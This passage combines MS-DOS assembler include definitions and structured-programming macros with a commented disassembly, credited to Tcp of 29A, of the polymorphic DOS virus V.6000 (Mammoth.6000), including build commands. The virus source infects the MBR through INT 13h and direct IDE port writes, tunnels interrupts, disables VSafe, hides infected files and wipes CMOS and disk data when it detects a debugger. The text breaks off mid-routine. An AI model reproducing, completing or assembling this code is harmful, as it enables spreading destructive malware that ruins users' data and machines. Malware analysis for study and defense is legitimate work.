exe_chksum DW ? ; checksum of file (ignored)
exe_IP DW ? ; IP of entry
exe_CS DW ? ; CS of entry
exe_rle_table DW ? ; byte offset of reloc table
exe_iov DW ? ; overlay number (0 for root)
exe_sym_tab DD ? ; offset of symbol table in file
EXE_file ENDS

exe_valid_signature EQU 5A4Dh


exe_valid_old_signature EQU 4D5Ah

symbol_entry STRUC
sym_value DD ?
sym_type DW ?
sym_len DB ?
sym_name DB 255 dup (?)
symbol_entry ENDS

; SCCSID = @(#)find.asm 1.1 85/04/10


; SCCSID = @(#)find.asm 1.1 85/04/10
;Break <find first/next buffer>

find_buf STRUC
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
find_buf_drive DB ? ; drive of search
find_buf_name DB 11 DUP (?) ; formatted name
find_buf_sattr DB ? ; attribute of search
find_buf_LastEnt DW ? ; LastEnt
find_buf_DirStart DW ? ; DirStart
find_buf_NetID DB 4 DUP (?) ; Reserved for NET
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

find_buf_attr DB ? ; attribute found


find_buf_time DW ? ; time
find_buf_date DW ? ; date
find_buf_size_l DW ? ; low(size)
find_buf_size_h DW ? ; high(size)
find_buf_pname DB 13 DUP (?) ; packed name
find_buf ENDS

; SCCSID = @(#)pdb.asm 1.1 85/04/10


;BREAK <Process data block>

;
; Process data block (otherwise known as program header)
;

FilPerProc EQU 20

Process_data_block STRUC
PDB_Exit_Call DW ? ; INT int_abort system terminate
PDB_block_len DW ? ; size of execution block
DB ?
PDB_CPM_Call DB 5 DUP (?) ; ancient call to system
PDB_Exit DD ? ; pointer to exit routine
PDB_Ctrl_C DD ? ; pointer to ^C routine
PDB_Fatal_abort DD ? ; pointer to fatal error
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
PDB_Parent_PID DW ? ; PID of parent (terminate PID)
PDB_JFN_Table DB FilPerProc DUP (?)
; indices into system table
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
PDB_environ DW ? ; seg addr of environment
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
PDB_User_stack DD ? ; stack of self during system calls
PDB_JFN_Length DW ? ; number of handles allowed
PDB_JFN_Pointer DD ? ; pointer to JFN table
PDB_Next_PDB DD ? ; pointer to nested PDB's
PDB_PAD1 DB 14h DUP (?)
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
PDB_Call_system DB 5 DUP (?) ; portable method of system call
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
PDB_PAD2 DB 7h DUP (?)
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
Process_data_block ENDS

; SCCSID = @(#)sf.asm 1.1 85/04/10


;BREAK <Internal system file table format>
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
;
; system file table
;

SF STRUC
SFLink DD ?
SFCount DW ? ; number of entries
SFTable DW ? ; beginning of array of the following
SF ENDS

;
; system file table entry
;

sf_entry STRUC
sf_ref_count DW ? ; number of processes sharing entry
; if FCB then ref count
sf_mode DW ? ; mode of access or high bit on if FCB
sf_attr DB ? ; attribute of file
sf_flags DW ? ;Bits 8-15
; Bit 15 = 1 if remote file
; = 0 if local file or device
; Bit 14 = 1 if date/time is not to be
; set from clock at CLOSE. Set by
; FILETIMES and FCB_CLOSE. Reset by
; other reseters of the dirty bit
; (WRITE)
; Bit 13 = Pipe bit (reserved)
;
; Bits 0-7 (old FCB_devid bits)
; If remote file or local file, bit
; 6=0 if dirty Device ID number, bits
; 0-5 if local file.
; bit 7=0 for local file, bit 7
; =1 for local I/O device
; If local I/O device, bit 6=0 if EOF
; Bit 5=1 if Raw mode
; Bit 0=1 if console input device
; Bit 1=1 if console output device
; Bit 2=1 if null device
; Bit 3=1 if clock device
sf_devptr DD ? ; Points to DPB if local file, points
; to device header if local device,
; points to net device header if
; remote
sf_firclus DW ? ; First cluster of file (bit 15 = 0)
sf_time DW ? ; Time associated with file
sf_date DW ? ; Date associated with file
sf_size DD ? ; Size associated with file
sf_position DD ? ; R/W pointer or LRU count for FCBs
;
; Starting here, the next 7 bytes may be used by the file system to store an
; ID
;
sf_cluspos DW ? ; Position of last cluster accessed
sf_lstclus DW ? ; Last cluster accessed
sf_dirsec DW ? ; Sector number for this file
sf_dirpos DB ? ; Offset of this entry in the above
;
; End of 7 bytes of file-system specific info.
;
sf_name DB 11 DUP (?) ; 11 character name that is in the
; directory entry. This is used by
; close to detect file deleted and
; disk changed errors.
; SHARING INFO
sf_chain DD ? ; link to next SF
sf_UID DW ?
sf_PID DW ?
sf_MFT DW ?
sf_entry ENDS

sf_netid EQU BYTE PTR sf_cluspos


sf_OpenAge EQU WORD PTR sf_position+2
sf_LRU EQU WORD PTR sf_position

sf_default_number EQU 5h

;
; Note that we need to mark an SFT as being busy for OPEN/CREATE. This is
; because an INT 24 may prevent us from 'freeing' it. We mark this as such
; by placing a -1 in the ref_count field.
;

sf_busy EQU -1

; mode mask for FCB detection


sf_isfcb EQU 1000000000000000B

; Flag word masks


sf_isnet EQU 1000000000000000B
sf_close_nodate EQU 0100000000000000B
sf_pipe EQU 0010000000000000B
sf_no_inherit EQU 0001000000000000B
sf_net_spool EQU 0000100000000000B

; Local file/device flag masks


devid_file_clean EQU 40h ; true if file and not written
devid_file_mask_drive EQU 3Fh ; mask for drive number

devid_device EQU 80h ; true if a device


devid_device_EOF EQU 40h ; true if end of file reached
devid_device_raw EQU 20h ; true if in raw mode
devid_device_special EQU 10h ; true if special device
devid_device_clock EQU 08h ; true if clock device
devid_device_null EQU 04h ; true if null device
devid_device_con_out EQU 02h ; true if console output
devid_device_con_in EQU 01h ; true if consle input
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

;
; structure of devid field as returned by IOCTL is:
;
; BIT 7 6 5 4 3 2 1 0
; |---|---|---|---|---|---|---|---|
; | I | E | R | S | I | I | I | I |
; | S | O | A | P | S | S | S | S |
; | D | F | W | E | C | N | C | C |
; | E | | | C | L | U | O | I |
; | V | | | L | K | L | T | N |
; |---|---|---|---|---|---|---|---|
; ISDEV = 1 if this channel is a device
; = 0 if this channel is a disk file
;
; If ISDEV = 1
;
; EOF = 0 if End Of File on input
; RAW = 1 if this device is in Raw mode
; = 0 if this device is cooked
; ISCLK = 1 if this device is the clock device
; ISNUL = 1 if this device is the null device
; ISCOT = 1 if this device is the console output
; ISCIN = 1 if this device is the console input
;
; If ISDEV = 0
; EOF = 0 if channel has been written
; Bits 0-5 are the block device number for
; the channel (0 = A, 1 = B, ...)
;
devid_ISDEV EQU 80h
devid_EOF EQU 40h
devid_RAW EQU 20h
devid_SPECIAL EQU 10H
devid_ISCLK EQU 08h
devid_ISNUL EQU 04h
devid_ISCOT EQU 02h
devid_ISCIN EQU 01h

devid_block_dev EQU 1Fh ; mask for block device number

;***************************************************************************
s_y MACRO oprt, cntr, dsiz
&oprt&cntr&dsiz MACRO
REPT cntr
&oprt&&dsiz
ENDM
ENDM
ENDM
;***************************************************************************
s_z MACRO oprt, cntr, cmmd
oprt&cntr MACRO
REPT cntr shr 1
&cmmd&w
ENDM
IF cntr and 1
&cmmd&b
ENDIF
ENDM
ENDM
;***************************************************************************
IRPC cntr, 12345
IRP dsiz, <B,W,D>
IRP oprt, <stos, scas, lods, movs, cmps, ins, outs>
s_y oprt, cntr, dsiz
ENDM
ENDM
s_z movs, cntr, movs
s_z add_di, cntr, scas
s_z add_si, cntr, lods
s_z add_sdi, cntr, cmps
ENDM
;***************************************************************************
PURGE s_y, s_z
;***************************************************************************
STO_BYTE MACRO value:REQ
mov al, value
stosb
ENDM
;***************************************************************************
STO_WORD_ MACRO value
mov ax, value
stosw
ENDM
;***************************************************************************
STO_WORD MACRO value
IF value NE 0
mov ax, value
ELSE
sub ax, ax
ENDIF
stosw
ENDM
;***************************************************************************
STO_TWO_BYTE MACRO value1:REQ, value2:REQ
; STO_WORD (value2 shl 8) or value1
IF (value2 shl 8) or value1
mov ax, (value2 shl 8) or value1
ELSE
sub ax, ax
ENDIF
stosw
ENDM
;***************************************************************************
MOVSEG macro to_seg, from_seg
push from_seg
pop to_seg
endm
;***************************************************************************
MASKA MACRO regis1:REQ, mask2:REQ ;MASKA al, 001xx110
;and al, 00?11??0
;or al, 00100110
local x, tmp_mask
x=1
tmp_mask = 0
IRPC sb, mask2
tmp_mask = tmp_mask*2+sb
ENDM
and regis1, tmp_mask

x=0
tmp_mask = 0
IRPC sb, mask2
tmp_mask = tmp_mask*2+sb
ENDM
IF tmp_mask NE 0
or regis1, tmp_mask
ENDIF
ENDM
;***************************************************************************
MIN MACRO frst, scnd
local nomov
cmp frst, scnd
jb nomov
mov frst, scnd
nomov:
ENDM
;***************************************************************************
MAX MACRO frst, scnd
local nomov
cmp frst, scnd
ja nomov
mov frst, scnd
nomov:
ENDM
;***************************************************************************
crproc MACRO procname, proc_crc
public procname
procname proc
extrn cryproc:near
call cryproc
dw ?
dw proc_crc
ENDM
;***************************************************************************
pbproc MACRO procname
public procname
procname proc
ENDM
;***************************************************************************
pblabel MACRO lblname
public lblname
lblname:
ENDM
;***************************************************************************

;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
;º The STructured AssembleR language macros º
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; (C) Dmitry Timchenko 1989-1991

; Version 1.4
; Turbo Assembler Version. LONG specifier is UNNECESSARY

ifndef ??version
.err **** Turbo Assembler required. For MASM use STAR13.INC ****
endif

if ??version lt 0200h
.err **** Turbo Assembler 2.0 or higher required. Use STAR13T.INC ****
endif

JUMPS ;It makes all dirty work of SHORT/LONG


; recognizing ( see STAR13.INC )

;Ú***** Auxiliary (implementation) macros *****¿

; Current level counters settings

S@ MACRO PN,PL,PV
PN&@&PL = PN&@&PL&PV
T@&PN = PN&@&PL
ENDM

S@T MACRO PL
T@B = B@&PL
T@E = E@&PL
T@X = X@&PL
ENDM

; Label (MARK) settings

M@ MACRO PM,PL,PN
PM&PL&PN = $
ENDM

; Forward jump vector generation


; PC conditon code ( Z/NZ/C/NC... )
; PM label header
; PL nesting level
; PN counter for this level
; INV 0/1 - inverse condition

J@F MACRO PC,PM,PL,PN,INV

V@ = PM&PL&PN ;Label to jump to

IFB <PC> ;Command: "JMP"

IF INV EQ 0 ;INV=0 --> Need command


jmp V@
ENDIF ;else --> Needn't command

ELSE ;Command: "J<PC>"

IF INV EQ 0 ;YesJump - straight condition


_YJ&PC V@
ELSE
_NJ&PC V@ ;NoJmp - reverse condition
ENDIF

ENDIF ;(Command)
ENDM

; Reverse jump vector generation


J@R MACRO PC,PM,PL,PN
V@ = PM&PL&PN

IFB <PC>;; Command: JMP


jmp V@
ELSE;; Command: J<PC>
_YJ&PC V@
ENDIF;; (Command)
ENDM

; ELSE mode settings


EL@I MACRO PL,VAL
IFNB <VAL>
L@I&PL = VAL
ENDIF
TL@ = L@I&PL
ENDM

; An auxiliary macro
; for counters initialization
I@NIT MACRO PL
B@&PL = 0
E@&PL = 0
X@&PL = 0
L@I&PL = 0
ENDM

; Variables initial settings macro.

INITS MACRO ;;**********

L@ = 10
REPT 10
L@ = L@-1
I@NIT %L@
ENDM

_YJO EQU JO
_YJNO EQU JNO
_YJB EQU JB
_YJNAE EQU _YJB
_YJC EQU _YJB
_YJAE EQU JAE
_YJNB EQU _YJAE
_YJNC EQU _YJAE
_YJE EQU JE
_YJZ EQU _YJE
_YJNE EQU JNE
_YJNZ EQU _YJNE
_YJBE EQU JBE
_YJNA EQU _YJBE
_YJA EQU JA
_YJNBE EQU _YJA
_YJS EQU JS
_YJNS EQU JNS
_YJP EQU JP
_YJPE EQU _YJP
_YJNP EQU JNP
_YJPO EQU _YJNP
_YJL EQU JL
_YJNGE EQU _YJL
_YJGE EQU JGE
_YJNL EQU _YJGE
_YJLE EQU JLE
_YJNG EQU _YJLE
_YJG EQU JG
_YJNLE EQU _YJG

_YJCXZ EQU JCXZ


_YJLU EQU LOOP
_YJLUNE EQU LOOPNE
_YJLUNZ EQU _YJLUNE
_YJLUE EQU LOOPE
_YJLUZ EQU _YJLUNE

_NJO EQU JNO


_NJNO EQU JO
_NJB EQU JNB
_NJNAE EQU _NJB
_NJC EQU _NJB
_NJAE EQU JNAE
_NJNB EQU _NJAE
_NJNC EQU _NJAE
_NJE EQU JNE
_NJZ EQU _NJE
_NJNE EQU JE
_NJNZ EQU _NJNE
_NJBE EQU JNBE
_NJNA EQU _NJBE
_NJA EQU JNA
_NJNBE EQU _NJA
_NJS EQU JNS
_NJNS EQU JS
_NJP EQU JNP
_NJPE EQU _NJP
_NJNP EQU JP
_NJPO EQU _NJNP
_NJL EQU JNL
_NJNGE EQU _NJL
_NJGE EQU JNGE
_NJNL EQU _NJGE
_NJLE EQU JNLE
_NJNG EQU _NJLE
_NJG EQU JNG
_NJNLE EQU _NJG

; There are no mirror commands for LOOPxx & JCXZ,


; so we're forced to use MACROS in these cases

S@KIP MACRO opcod,target


local Skip_Label
opcod Skip_Label
jmp target
Skip_Label label near
ENDM

_NJCXZ MACRO target


S@KIP JCXZ,target
ENDM

_NJLU MACRO target


S@KIP LOOP,target
ENDM

_NJLUNE MACRO target


S@KIP LOOPNE,target
ENDM

_NJLUNZ MACRO target


S@KIP LOOPNZ,target
ENDM

_NJLUE MACRO target


S@KIP LOOPE,target
ENDM

_NJLUZ MACRO target


S@KIP LOOPZ,target
ENDM

ENDM ;;**********

;À*********************************************Ù

;Ú***** Language macros *****¿

; Pass next block till the end or DOELSE


PASS MACRO CND
S@T %L@+1
J@F CND,E@,%L@+1,%T@E,0
S@T %L@
EL@I %L@,0
ENDM

; Enter next block immediately


GOIN MACRO CND
S@ B,%L@+1,+1
J@F CND,B@,%L@+1,%T@B,0
S@ B,%L@+1,-1
ENDM

; Go to the begin of current block


REPEAT MACRO CND
J@R CND,B@,%L@,%T@B,0
ENDM

; Go to the end of current block


; (skip all DOELSE's)
EXIT MACRO CND
J@F CND,X@,%L@,%T@X,0
ENDM

; Go to the next DOELSE if present


; or to the end of current block
NEXT MACRO CND
J@F CND,E@,%L@,%T@E,0
ENDM

; The begin of a block without


; test of condition
DO MACRO
L@ = L@+1
S@ B,%L@,+1
M@ B@,%L@,%T@B
S@T %L@
EL@I %L@,0
ENDM

; The end of a block without loop


DONE MACRO
M@ X@,%L@,%T@X
M@ E@,%L@,%T@E
S@ X,%L@,+1
S@ E,%L@,+1
L@ = L@-1
S@T %L@
EL@I %L@,0
ENDM

; The end of a loop-block


CYCLE MACRO CND
REPEAT CND
DONE
ENDM

; The begin of a block with


; condition test
DOIF MACRO CND
L@ = L@+1
S@T %L@
J@F CND,E@,%L@,%T@E,1
S@ B,%L@,+1
M@ B@,%L@,%T@B
EL@I %L@,0
ENDM

; The alternative block part begin operator


DOELSE MACRO
EXIT ,LNG
S@T %L@
M@ E@,%L@,%T@E
S@ E,%L@,+1
EL@I %L@,1
ENDM

; The enclosed IF (DOIF-{DOELSE-ELSIF...}-DONE)


ELSIF MACRO CND
EL@I %L@
IF TL@ NE 1
.err ***** STAR error: ELSIF without DOELSE or with PASS *****
ELSE
J@F CND,E@,%L@,%T@E,1
S@ B,%L@+1,+1
M@ B@,%L@+1,%T@B
S@T %L@
ENDIF
EL@I %L@,0
ENDM

;À*********************************************Ù

INITS ;Variables initialization


;
; Disassembled by Tcp / 29A
;
; Virus: V.6000 (aka NoKernel aka Mammoth.6000)
; Author: ?
; Country: Russia (?)
; Comments: Polymorphic, multipartite, tunneling, damage,
; full-stealth, HD-ports,...
; The most interesting feature is that it can
; stay resident after a cold reboot and loading
; from a clean DOS floppy disk!!!!!!!!
; WARNING: This is a very dangerous virus!!
;
; To assembly:
; tasm /m v6000.asm
; tlink v6000
; exe2bin v6000 v6000.com
;-------------------------------------------------------------

.286
v6000 segment byte public ''
assume cs:v6000,es:v6000,ss:v6000,ds:v6000
org 0
start:
r_index db 0B9h ; mov cx,length_virus+[0..1Fh]
num_bytes dw offset(length_virus)
r_source db 0BFh ; mov di,offset(code_enc)+100h
st_code_enc dw offset(code_enc)+100h
_loop_dec:
prefix_op dw 802Eh ; xor byte ptr cs:
r_op db 35h ; [di],
l_mask db 0 ; l_mask
i_inc:
inc di
d_loop:
loop _loop_dec
clc
code_enc:
delta equ word ptr $+1
mov bp,offset(start)+100h
mov cx,offset(end_virdata)-buffer
xor al,al
mov di,offset(buffer)
add di,bp
push cs
pop es
cld
rep stosb ; Clear data area
cli
push cs
pop ss
mov sp,offset(vstack)
add sp,bp
mov [bp+delta_offset],bp
mov [bp+seg_psp],ds
mov dx,word ptr [bp+jmp_antidebug]
mov bx,(offset(kill_cmos_hd)-ofs_antidebug-2)
mov [bp+jmp_antidebug],0E9h ; jmp
mov [bp+ofs_antidebug],bx
jmp_antidebug equ byte ptr $
ofs_antidebug equ word ptr $+1 ; jmp kill_cmos_hd
; Kill CMOS & HD if debugging (or Pentium!)
jmp no_debug
db 9
no_debug:
mov word ptr [bp+jmp_antidebug],dx ; Restore jmp
mov ax,0B0Bh
int 21h ; Resident check
cmp ax,0EFEFh ; Already resident?
je restore_host ; Yes? then jmp
mov ah,30h
int 21h ; DOS - GET DOS VERSION
; Return: AL = major version number
; (00h for DOS 1.x)
; AH = minor version number
cmp al,0Ah ; >DOS 10.xx? (why???)
ja restore_host ; Yes? then jmp
cmp al,3 ; >=DOS 3.00?
jae try_to_infect_hd ; Yes? then jmp
restore_host:
cmp byte ptr [bp+host_type],3 ; EXE?
je restore_exe ; Yes? then jmp
push cs ; It is a COM file
pop ds
push cs
pop es
mov si,offset(header)
add si,bp
mov di,100h
mov bx,di
movsw ; Restore original bytes (3 bytes)
movsb
cli
mov sp,0FFFEh ; Set default stack
jmp bx ; jmp 100h (exec host)

restore_exe:
mov es,[bp+seg_psp] ; ES:=PSP
mov dx,[bp+exeip]
mov bx,[bp+relocs]
mov cx,es
add bx,cx ; Relocate host CS
add bx,10h
mov [bp+ep_ip],dx
mov [bp+ep_cs],bx
mov ax,[bp+reloss]
add ax,cx ; Relocate host SS
add ax,10h ; Add PSP
push es
pop ds
push ax
xor ax,ax
push ax
popf ; Clear flags
pop ax
cli
mov ss,ax ; Set stack
mov sp,cs:[bp+relosp]
sti
jmp dword ptr cs:[bp+ep_ip] ; Exec host

try_to_infect_hd:
call check4ide
cmp al,66h ; IDE HD?
jne start_tunneling ; No? then jmp (don't use ports)
mov ax,160Ah
int 2Fh ; - Multiplex - MS WINDOWS -
or ax,ax ; Windows running?
jz start_tunneling ; Yes? then jmp
get_vi13:
mov al,13h
call get_int_vector ; Get int 13h
mov [bp+ofs_i13],bx ; Store it
mov [bp+seg_i13],es
mov [bp+use_ports],1 ; Can use ports
jmp kill_vsafe

start_tunneling:
xor ax,ax
mov ds,ax ; DS:=0
cli
mov ds:[1h*4+2],cs ; Set new int 1
mov dx,offset(int_1)
add dx,bp
mov ds:[1h*4],dx
sti
mov [bp+seg_stop],70h ; Set stop segment (DOS segment)
mov ah,0FFh
pushf
pushf
call trace_on
call dword ptr ds:[13h*4] ; Trace Int 13h
call trace_off
cmp [bp+seg_i13],0 ; Tunneling successful?
jnz kill_vsafe ; Yes? then jmp
jmp get_vi13
kill_vsafe:
mov dx,5945h
mov ax,0FA01h
int 21h ; Uninstall VSafe
call install_virus
jmp restore_host

install_virus:
mov al,10h ; Diskette drive types
call read_cmos
mov [bp+floppy_types],ah
xor ax,ax
mov ds,ax
mov ax,ds:[410h] ; Installed hardware
mov [bp+inst_hard],ax
mov al,2Eh ; 1st byte of CMOS checksum
call read_cmos
mov ch,ah
mov al,2Fh ; 2nd byte of CMOS checksum
call read_cmos
mov cl,ah
push cx
call calculate_CMOS_checksum_1
pop cx
cmp cx,dx ; Using this method for checksum?
jne try_method_ps2 ; No? then jmp
mov [bp+chksum_method],0
jmp infect_HD

try_method_ps2:
mov al,32h ; 1st byte of CMOS checksum (PS/2)
call read_cmos
mov ch,ah
mov al,33h ; 2nd byte of CMOS checksum (PS/2)
call read_cmos
mov cl,ah
push cx
call calculate_CMOS_checksum_2
pop cx
cmp cx,dx ; Using this method for checksum?
jne unknown_method ; No? then jmp
mov [bp+chksum_method],1
jmp infect_HD

unknown_method:
mov [bp+chksum_method],2
infect_HD:
xor ah,ah
mov dl,80h
call int13hbp ; Reset HD controller
mov ah,8
call int13hbp ; Get drive parameters
inc ch ; inc max.cylinder
mov dl,80h
sub cl,14 ; Get 14 sectors
mov ax,030Ch ; 12 sectors to write (its code)
push cs
pop es
mov bx,bp
call int13hbp ; Write to HD
jnc read_mbr ; Ok? then jmp
jmp _ret ; Stupid jmp!!

read_mbr:
mov ax,0201h
mov bx,offset(s_mbr)
add bx,bp
mov dx,80h
mov cx,1
int 13h ; Read MBR
jnc check_mbr ; Ok? then jmp
jmp _ret ; Stupid jmp!!

check_mbr:
mov di,bx
push cs
pop ds
mov si,offset(mbr_code)
add si,bp
mov cx,(tmbr_code-mbr_code)
cld
rep cmpsb ; Infected?
jne infect_mbr ; No? then jmp
jmp _ret ; Stupid jmp!!

infect_mbr:
call get_random
mov [bp+mask_orig_mbr],ah
mov si,bx
mov cx,512
push cx
encrypt_orig_mbr:
xor [si],ah
inc si
loop encrypt_orig_mbr
push ax
mov ah,8
call int13hbp ; Get drive parameters
inc ch ; Inc cylinder
dec cl ; Dec sector
mov dl,80h
mov ax,301h ; 1 sector to write
call int13hbp ; Write encripted MBR
mov si,bx
pop ax
pop cx
decrypt_orig_mbr:
xor [si],ah ; Decrypt MBR
inc si
loop decrypt_orig_mbr
call get_random
mov si,offset(st_mbr_enc)
add si,bp
mov cx,end_mbr_code-st_mbr_enc
push si
push cx
push ax
encrypt_mbr:
mov cs:[bp+mask_mbr],ah ; Encrypt new MBR code
xor [si],ah
inc si
loop encrypt_mbr
mov si,offset(mbr_code)
add si,bp
mov di,bx
mov cx,end_mbr_code-mbr_code
rep movsb
cmp [bp+use_ports],1 ; Can use ports?
je write_using_ports ; Yes? then jmp
mov ax,301h ; 1 sector to write
mov cx,1
xor dh,dh
call int13hbp ; Write new mbr
jmp mbr_wrote

wait_while_busy:
mov dx,1F7h
HD_busy:
in al,dx ; AT hard disk
; status register bits:
; 0: 1=prev cmd error
; 2: Corrected data
; 3: Data Request. Buffer is busy
; 4: Seek completed
; 5: Write fault
; 6: Drive ready (unless bit 4=0)
; 7: Busy
test al,80h ; Busy?
jnz HD_busy ; Yes? Repeat while busy
ret

wait_while_busy_seek:
mov dx,1F7h
in_seek:
in al,dx ; AT hard disk
; status register bits:
; 0: 1=prev cmd error
; 2: Corrected data
; 3: Data Request. Buffer is busy
; 4: Seek completed
; 5: Write fault
; 6: Drive ready (unless bit 4=0)
; 7: Busy
test al,80h ; HD busy?
jnz in_seek ; Yes? Repeat while busy
test al,8 ; Seek completed?
jz in_seek ; No? Repeat until seek completed
ret

write_using_ports:
mov si,bx
cld
mov dx,3F6h
mov al,4
out dx,al ; Enable FDC disk reset
call waste_time
mov al,0
out dx,al
call wait_while_busy
mov dx,1F6h
mov al,10100000b
; ^^^^^head 0
; |___drive 0
out dx,al ; AT hard disk controller: Drive & Head.
call waste_time
mov dx,1F7h
mov al,10h
out dx,al ; AT hard disk command register:
; 1?H = Restore to cylinder 0
; 7?H = Seek to cylinder
; 2?H = Read sector
; 3xH = Write sector
; 50H = Format track
; 4xH = verify read
; 90H = diagnose
; 91H = set parameters for drive
; Recalibrate drive
call wait_while_busy
mov dx,1F1h
in al,dx ; AT hard disk controller
; Error register. Bits for last error:
; 0: Data Address Mark not found
; 1: Track 0 Error
; 2: Command aborted
; 4: Sector ID not found
; 6: ECC Error: Uncorrectable data error
; 7: Bad block
and al,01101000b
jnz write_using_ports ; Error? try again
call wait_while_busy
mov dx,1F2h
mov al,1 ; One sector
out dx,al ; AT hard disk controller: Sector count.
call waste_time
mov dx,1F3h
mov al,1 ; Start in sector 1
out dx,al ; AT hard disk controller: Sector number.
call waste_time
mov dx,1F4h
mov al,0
out dx,al ; AT hard disk controller:
; Cylinder high (bits 0-1 are bits 8-9
; of 10-bit cylinder number)
call waste_time
mov dx,1F5h
mov al,0 ; Cylinder 0
out dx,al ; AT hard disk controller:
; Cylinder low (bits 0-7 of 10-bit
; cylinder number)
call waste_time
mov dx,1F6h
mov al,10100000b ; Drive 0, Head 0
out dx,al ; AT hard disk controller: Drive & Head.
call waste_time
mov dx,1F7h
mov al,31h ; Write sector without retry
out dx,al ; AT hard disk
; command register:
; 1?H = Restore to cylinder 0
; 7?H = Seek to cylinder
; 2?H = Read sector
; 3xH = Write sector
; 50H = Format track
; 4xH = verify read
; 90H = diagnose
; 91H = set parameters for drive
call wait_while_busy_seek
mov cx,512/2 ; Number of words to write (1 sector)
mov dx,1F0h ; Data register
rep outsw ; Write sector
call wait_while_busy
mbr_wrote:
pop ax
pop cx
pop si
dec_mbrcode:
xor cs:[si],ah
inc si
loop dec_mbrcode
mov ah,8
mov dl,80h
call int13hbp ; Get drive parameters
mov dl,80h
inc ch ; inc cylinder
sub cl,2 ; dec sector*2
mov word ptr cs:[bx],0 ; Reset boot counter
mov ax,0301h ; 1 sector to write
call int13hbp ; Write to HD
_ret:
ret

int_1: ; Tunneler code


push bx
push es
push si
push bp
push ds
mov bp,sp
lds si,[bp+0Ah] ; Get next inst.address from stack
mov bp,cs
mov bx,ds
cmp bx,bp ; Is from virus code?
je end_int1 ; Yes? then jmp
mov bp,sp
delta_offset equ word ptr $+1
mov bx,0B3Ah ; mov bx,delta_offset
cmp byte ptr [si],9Ch ; Next inst. is a pushf?
jne check_popf ; No? then jmp
inc word ptr [bp+0Ah] ; Skip the pushf
mov cs:[bx+emul_pushf],1
check_popf:
cmp byte ptr [si],9Dh ; Next inst. is a popf?
jne no_popf ; No? then jmp
or word ptr [bp+10h],100h ; Put flag trace in stack
no_popf:
mov bp,ds
cmp cs:[bx+tunnel_ok],1 ; Found int?
je end_int1 ; Yes? then jmp
cmp bp,cs:[bx+seg_stop] ; Above stop segment?
ja end_int1 ; Yes? then jmp
mov cs:[bx+ofs_i13],si ; Store as the new int
mov cs:[bx+seg_i13],ds
mov cs:[bx+tunnel_ok],1 ; Found int
end_int1:
pop ds
pop bp
pop si
pop es
cmp cs:[bx+emul_pushf],1 ; Was found a pushf?
je no_restore_flags ; Yes? then jmp
pop bx
iret
no_restore_flags:
mov word ptr cs:[bx+emul_pushf],0
pop bx
retf

waste_time:
jmp $+2
jmp $+2
ret

trace_on:
pushf
pop bx
or bh,1 ; Set trace flag on
push bx
popf
ret
trace_off:
pushf
pop bx
and bh,0FEh ; Set trace flag off
push bx
popf
ret

check4ide:
push ds
mov dl,80h ; 1st HD
push dx
mov ah,15h
int 13h ; DISK - GET TYPE
; DL = drive ID
; Return: CF set on error
; AH = disk type
; Get type of 1st HD
pop dx
cmp ah,1 ; Type 1? Diskette???
je no_ide ; Yes? then jmp
xor ax,ax
mov ds,ax ; DS:=0
les si,ds:[41h*4] ; Get hd0 parameters pointer
mov ax,es:[si] ; Maximun number of cylinders
push ax
push dx
mov ah,8
int 13h ; Get current drive parameters
mov ax,cx
rol al,1
rol al,1
and al,3 ; Get high order 2 bits of cylinder count
xchg al,ah ; Cylinder count in AX
and dh,0C0h ; Get high order 2 bits of head count
; Large Model(?)
mov cl,4
shl dh,cl
or ah,dh ; Total cylinder count in AX
add ax,2 ; Add 2 cylinders
pop dx
mov bx,ax
pop ax
cmp bx,ax ; Same cylinder number?
xor al,al ; BUG!!!! This instruction sets the Z-flag
jne no_ide ; Then this jump is never used
mov al,66h
no_ide:
pop ds
ret

fffnfcb:
call int21h ; FF/FN
or al,al ; More files?
jnz no_files_fcb ; No? then jmp
pushf
call push_registers
mov ah,2Fh
call int21h ; Get DTA
push es
pop ds
push bx
pop dx
cmp byte ptr es:[bx],0FFh ; Extended FCB?
jnz no_ext_fcb ; No? then jmp
add dx,7
no_ext_fcb:
call make_fname
call exe_or_com?
or bp,bp ; EXE or COM?
jz error_open_fcb ; No? then jmp
mov ax,3D00h
call int21h ; Open file
jc error_open_fcb
mov bx,ax ; bx:=handle
mov ax,5700h
call int21h ; Get file time
rcr dh,1
cmp dh,64h ; Infected?
jb no_inf_fcb ; No? then jmp
push bx
mov ah,2Fh
call int21h ; Get DTA
cmp byte ptr es:[bx],0FFh ; Extended FCB?
jne no_ext_fcb2 ; No? then jmp
add bx,7
no_ext_fcb2:
sub word ptr es:[bx+1Dh],offset(length_virus)
mov ax,es:[bx+19h] ; Get file date
rcr ah,1
pushf
sub ah,100 ; Set original date
popf
rcl ah,1
mov es:[bx+19h],ax
pop bx
no_inf_fcb:
mov ah,3Eh
call int21h ; Close file
error_open_fcb:
call pop_registers
popf
no_files_fcb:
retf 2

rename_FCB:
push ds
push dx
call make_fname
jmp rename

rename_handle:
push ds
push dx
rename:
push es
push si
push di
push cx
push bp
push ax
push es
push di
call exe_or_com?
pop di
pop es
or bp,bp ; Renaming from Exe or Com?
jz jmp_end_i21 ; No? then jmp
push ds
push dx
push es
pop ds
mov dx,di
call exe_or_com?
pop dx
pop ds
